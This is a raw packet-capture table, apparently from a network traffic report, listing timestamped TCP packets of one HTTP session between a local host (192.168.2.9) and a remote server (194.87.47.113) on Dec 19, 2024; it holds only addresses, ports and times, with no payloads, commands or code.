Dec 19, 2024 08:01:11.060579062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.060729027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.060764074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.193830967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.193842888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.193936110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.194022894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.194035053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.194048882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.194084883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.194730043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.194741964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.194753885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.194777012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.194796085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.195364952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.195377111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.195389986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.195425987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.196135998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.196147919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.196161032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.196171999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.196197987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.197813034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.227396965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.227415085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.227427959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.227508068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.227685928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.227718115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.227730989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.227816105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.228601933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.228615999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.228672028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.228677034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.228678942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.228705883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.229450941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.229470968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.229485035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.229516983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.229543924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.230218887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.230231047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.230243921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.230273962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.230932951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.230976105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.231014013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.231029034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.231071949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.231780052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.231791973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.231865883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.232079029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.232105970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.232119083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.232146978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.232912064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.232923985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.232935905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.232965946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.232992887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.233668089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.233680010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.233691931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.233717918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.234410048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.234432936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.234445095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.234462023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.234479904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.235182047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.235194921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.235208035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.235255957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.235975027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.235987902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.236000061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.236022949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.236036062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.236748934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.236757040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.236763954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.236804962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.237540960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.237554073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.237565994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.237587929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.237607956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.238394976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.238409042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.238444090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.238616943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.239094973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.239106894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.239125013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.239149094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.239178896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.239950895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.239964008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.239976883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.240006924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.240540028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.240578890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.240586996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.240590096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.240622997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.241332054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.241384029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.241396904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.241425991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.242197990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.242209911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.242223978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.242248058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.242264032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.242944002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.242958069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.242969990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.243119001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.243697882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.243711948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.243724108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.243745089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.243757963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.244467020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.244479895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.244493961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.244513988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.245233059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.245245934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.245256901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.245282888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.245296955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.248480082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.248492956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.248506069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.248547077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.248867989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.248879910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.248893023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.248917103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.248938084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.249641895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.249655962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.249666929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.249718904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.250432014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.250443935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.250456095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.250483990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.250497103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.251173019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.251185894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.251199007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.251221895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.251965046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.251976967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.251988888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.252039909 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.252691984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.252706051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.252722025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.252763033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.386086941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.386101961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.386112928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.386174917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.386370897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.386384010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.386395931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.386426926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.386452913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.387149096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.387161970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.387172937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.387196064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.387958050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.387975931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.387988091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.388005018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.388017893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.388698101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.388794899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.388839960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.419605970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.419632912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.419645071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.419696093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.419965982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.419979095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.419991970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.420048952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.420650005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.420861959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.420909882 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.420932055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.420944929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.421061039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.421704054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.421717882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.421729088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.421761990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.422403097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.422450066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.422456026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.422471046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.422527075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.423270941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.423284054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.423295021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.423352957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.423986912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.424031019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.424068928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.424331903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.424344063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.424355984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.424376965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.424398899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.425051928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.425107956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.425142050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.425173044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.425857067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.425868988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.425882101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.425906897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.425923109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.426651001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.426664114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.426676035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.426707983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.427361012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.427409887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.427453041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.427472115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.427519083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.428201914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.428215027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.428225994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.428247929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.428894043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.428939104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.428952932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.428966045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.429003954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.429728031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.429740906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.429752111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.429784060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.430557013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.430568933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.430581093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.430604935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.430641890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.431231022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.431338072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.431350946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.431386948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.432142019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.432153940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.432164907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.432188988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.432204008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.432809114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.432831049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.432842970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.432872057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.433643103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.433655024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.433666945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.433693886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.433722973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.434359074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.434379101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.434392929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.434425116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.435203075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.435214043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.435226917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.435275078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.435956955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.435970068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.435981989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.436007977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.436654091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.436701059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.436707020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.436714888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.436754942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.437482119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.437493086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.437504053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.437545061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.441469908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.441482067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.441493988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.441535950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.441581964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.441828966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.441842079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.441855907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.441886902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.442502975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.442516088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.442553997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.442856073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.442867994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.442878962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.442910910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.442939043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.443612099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.443658113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.443670034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.443698883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.444430113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.444442034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.444456100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.444483042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.444504023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.445137978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.445197105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.445209980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.445235968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.446053982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.446064949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.446108103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.578311920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.578339100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.578351974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.578419924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.578726053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.578738928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.578773975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:11.579267025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:11.579307079 CET	80	49739	194.87.47.113	192.168.2.9
